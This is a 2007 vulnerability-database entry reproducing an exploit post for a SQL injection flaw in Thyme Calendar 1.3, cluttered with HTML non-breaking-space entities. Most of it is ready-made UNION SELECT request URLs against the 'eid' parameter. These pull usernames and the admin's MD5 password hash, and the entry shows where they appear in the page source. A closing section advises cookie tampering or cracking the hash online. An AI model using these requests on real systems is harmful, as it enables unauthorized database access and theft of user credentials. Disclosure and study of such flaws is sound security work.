Thyme Calendar 1.3 Remote SQL Injection Vulnerability

🗓️ 11 May 2007 00:00:00Reported by RootType
Thyme Calendar 1.3 Remote SQL Injection Vulnerability allows execution of custom SQL query by exploiting the 'eid' field in event_view.ph

                                                &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##################################################
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;Thyme&nbsp;Calendar&nbsp;1.3&nbsp;SQL&nbsp;Vulnerability&nbsp;Exploit&nbsp;##
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;by&nbsp;Warlord&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##################################################
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;codehook.110mb.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;##################################################

-------------------------------------------------------------------
OVERVIEW&nbsp;AND&nbsp;DEFINITION
-------------------------------------------------------------------

A&nbsp;vulnerability&nbsp;in&nbsp;exists&nbsp;in&nbsp;Thyme&nbsp;Calendar&nbsp;1.3&nbsp;(and&nbsp;possibly&nbsp;lower&nbsp;
versions)&nbsp;which
allows&nbsp;execution&nbsp;of&nbsp;a&nbsp;custom&nbsp;SQL&nbsp;query.

The&nbsp;vulnerability&nbsp;exists&nbsp;in&nbsp;event_view.php,&nbsp;because&nbsp;the&nbsp;'eid'&nbsp;field&nbsp;is&nbsp;not&nbsp;
properly
validated.&nbsp;An&nbsp;attacker&nbsp;could&nbsp;exploit&nbsp;the&nbsp;vulnerabilit&nbsp;with&nbsp;the&nbsp;following&nbsp;
request:


http://sitename/thyme_directory/event_view.php?eid=34&nbsp;UNION&nbsp;SELECT&nbsp;userid&nbsp;
FROM&nbsp;thyme_Users


Where&nbsp;'sitename'&nbsp;is&nbsp;the&nbsp;name&nbsp;of&nbsp;the&nbsp;site,&nbsp;and&nbsp;'thyme_directory'&nbsp;is&nbsp;the&nbsp;
directory&nbsp;in&nbsp;which
Thyme&nbsp;is&nbsp;located.

-------------------------------------------------------------------
SQL&nbsp;QUERY
-------------------------------------------------------------------

The&nbsp;SQL&nbsp;query&nbsp;originally&nbsp;looks&nbsp;like&nbsp;this:


SELECT&nbsp;id&nbsp;FROM&nbsp;thyme_Attachments&nbsp;WHERE&nbsp;eid&nbsp;=&nbsp;34


But&nbsp;by&nbsp;changing&nbsp;the&nbsp;'eid'&nbsp;field&nbsp;we&nbsp;get&nbsp;a&nbsp;query&nbsp;that&nbsp;looks&nbsp;like&nbsp;this:


SELECT&nbsp;id&nbsp;FROM&nbsp;thyme_Attachments&nbsp;WHERE&nbsp;eid&nbsp;=&nbsp;34&nbsp;UNION&nbsp;SELECT&nbsp;userid&nbsp;FROM&nbsp;
thyme_Users

-------------------------------------------------------------------
RESULT&nbsp;OF&nbsp;NEW&nbsp;QUERY
-------------------------------------------------------------------

The&nbsp;result&nbsp;is&nbsp;that&nbsp;the&nbsp;query&nbsp;sends&nbsp;back&nbsp;all&nbsp;the&nbsp;userid's&nbsp;(actually&nbsp;
usernames)&nbsp;from&nbsp;the
database&nbsp;instead&nbsp;of&nbsp;the&nbsp;'id'&nbsp;from&nbsp;thyme_Attachments.&nbsp;You&nbsp;will&nbsp;be&nbsp;able&nbsp;to&nbsp;
grab&nbsp;the&nbsp;userid's
from&nbsp;the&nbsp;HTML&nbsp;source&nbsp;by&nbsp;searching&nbsp;for&nbsp;'aid='&nbsp;as&nbsp;this&nbsp;is&nbsp;where&nbsp;the&nbsp;attachment&nbsp;
id&nbsp;is
supposed&nbsp;to&nbsp;go.&nbsp;For&nbsp;example:

http://sitename/thyme_directory/download_attachment.php?aid=admin

-------------------------------------------------------------------
GETTING&nbsp;PASSWORDS
-------------------------------------------------------------------

And&nbsp;the&nbsp;password&nbsp;(md5'd)&nbsp;can&nbsp;be&nbsp;obtained&nbsp;in&nbsp;the&nbsp;same&nbsp;fashion:

http://sitename/thyme_directory/event_view.php?eid=34&nbsp;UNION&nbsp;SELECT&nbsp;pass&nbsp;FROM&nbsp;
thyme_Users
WHERE&nbsp;username&nbsp;=&nbsp;&quot;admin&quot;

In&nbsp;the&nbsp;HTML&nbsp;source:

http://sitename/thyme_directory/download_attachment.php?aid=9ab1c5afa4946ca0030271736f38c83a

-------------------------------------------------------------------
HOW&nbsp;TO&nbsp;EXPLOIT
-------------------------------------------------------------------

Cookies&nbsp;should&nbsp;be&nbsp;modifiable.&nbsp;If&nbsp;not,&nbsp;crack&nbsp;the&nbsp;md5!

http://md5.rednoize.com
11 May 2007 00:00Current
7.1High risk
Vulners AI Score7.1